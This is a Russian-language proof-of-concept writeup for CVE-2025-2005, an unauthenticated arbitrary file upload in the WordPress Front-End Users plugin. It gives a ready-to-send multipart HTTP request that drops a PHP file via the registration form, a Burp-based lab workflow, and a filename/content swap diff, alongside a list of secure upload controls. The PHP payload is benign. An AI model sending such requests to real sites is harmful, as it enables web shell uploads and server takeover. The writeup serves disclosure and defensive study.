
Эксплойт доказательства концепции для CVE-2025-2005, уязвимости произвольной загрузки файлов в плагине WordPress Front-End Users (<=3.2.32). Включает скрипты для ручной HTTP-атаки и эксплойт на Python для загрузки PHP веб-шеллов на неаутентифицированные регистрационные формы.
CVE-2025-20050xZ3R0 // h4ckxel
Front-End Users подвержен уязвимости неаутентифицированной произвольной загрузки файлов, затрагивающей версии ≤ 3.2.32.
Уязвимый процесс регистрации предоставляет примитив загрузки, доступный без необходимости в привилегированной учётной записи WordPress.
Основная проблема заключается в недостаточной проверке контролируемых злоумышленником метаданных и содержимого загружаемого файла перед его сохранением в файловую систему.
UNAUTHENTICATED ATTACKER
│
▼
Public registration form
│
▼
multipart/form-data
│
▼
Front-End Users handler
│
▼
Insufficient validation
│
▼
Attacker-controlled file
│
▼
/wp-content/uploads/ewd_feup_uploads/
│
▼
Web-accessible resource
│
▼
PHP execution if permitted
│
▼
RCE
Итоговое воздействие зависит от веб-сервера и конфигурации PHP целевой системы.
| Свойство | Значение |
|---|---|
| CVE | CVE-2025-2005 |
| Продукт | Front-End Users |
| Уязвимые версии | ≤ 3.2.32 |
| CWE | CWE-434 |
| Класс | Неограниченная загрузка файла опасного типа |
| Вектор атаки | Сеть |
| Аутентификация | Отсутствует |
| Требуемые привилегии | Отсутствуют |
| Взаимодействие с пользователем | Отсутствует |
| Основной примитив | Произвольная загрузка файла |
| Потенциальное воздействие | Удалённое выполнение кода |
| Исследователь | h4ckxel |
| Пространство имён | 0xZ3R0 |
Неограниченная загрузка файла опасного типа
Уязвимое поведение можно свести к следующему:
Untrusted Input
│
├── filename
├── extension
├── MIME type
└── file content
│
▼
upload handler
│
▼
filesystem
Граница безопасности нарушается, поскольку контролируемые злоумышленником данные попадают в постоянное место файловой системы без достаточной проверки.
Уязвимая функциональность связана с системой регистрации на фронтенде плагина.
Типичный запрос на регистрацию содержит:
ewd-feup-action=register
Username=<value>
User_Password=<value>
и может содержать дополнительное поле составного файла:
Content-Disposition: form-data;
name="xxploit";
filename="poc.php"
Content-Type: application/x-php
Интересна не сама регистрация.
Интересно то, что запрос пересекает следующую границу доверия:
INTERNET
│
▼
attacker-controlled HTTP
│
▼
registration endpoint
│
▼
upload handler
│
▼
filesystem
Уязвимость возникает из-за недостаточной проверки загружаемых файлов на стороне сервера.
Безопасная реализация должна предусматривать несколько независимых механизмов контроля:
UPLOAD
│
┌────────────┴────────────┐
▼ ▼
Authentication Authorization
│ │
└────────────┬────────────┘
▼
Extension allowlist
│
▼
MIME verification
│
▼
Content validation
│
▼
Server-side filename
│
▼
Non-executable storage
Ни один из этих элементов управления сам по себе не обязательно приводит к RCE.
Проблема становится существенно более серьёзной, когда несколько уровней защиты отказывают одновременно.
Следующий PoC демонстрирует примитив записи в файл без развёртывания командной оболочки.
POST /wordpress/2025/04/02/test/ HTTP/1.1
Host: 192.168.100.74:888
User-Agent: Mozilla/5.0
Content-Type: multipart/form-data; boundary=----0xZ3R0Boundary
------0xZ3R0Boundary
Content-Disposition: form-data; name="ewd-feup-check"
14bacb882cb211e10b2b3e07bfe096ef12a092dc
------0xZ3R0Boundary
Content-Disposition: form-data; name="ewd-feup-time"
1743554029
------0xZ3R0Boundary
Content-Disposition: form-data; name="ewd-feup-action"
register
------0xZ3R0Boundary
Content-Disposition: form-data; name="Username"
poc-user
------0xZ3R0Boundary
Content-Disposition: form-data; name="xxploit"; filename="poc.php"
Content-Type: application/x-php
<?php echo "CVE-2025-2005"; ?>
------0xZ3R0Boundary--
wp-content/
└── uploads/
└── ewd_feup_uploads/
└── <randomized-name>.php
Важное наблюдение:
attacker-controlled extension
+
attacker-controlled content
+
persistent filesystem write
Практический рабочий процесс для лабораторной среды:
[1] Open registration page
│
▼
[2] Submit legitimate registration
│
▼
[3] Intercept request with Burp
│
▼
[4] Locate multipart file parameter
│
▼
[5] Replace benign file with PoC file
│
▼
[6] Forward request
│
▼
[7] Inspect response
│
▼
[8] Verify filesystem artifact
│
▼
[9] Test whether uploads are executable
Критически важное для безопасности наблюдение следует делать до попытки любого постэксплуатационного воздействия.
Content-Disposition: form-data;
name="avatar";
filename="avatar.jpg"
<image-data>
Content-Disposition: form-data;
name="xxploit";
filename="poc.php"
<?php echo "CVE-2025-2005"; ?>
Концептуально:
- filename="avatar.jpg"
+ filename="poc.php"
- <image-data>
+ <?php echo "CVE-2025-2005"; ?>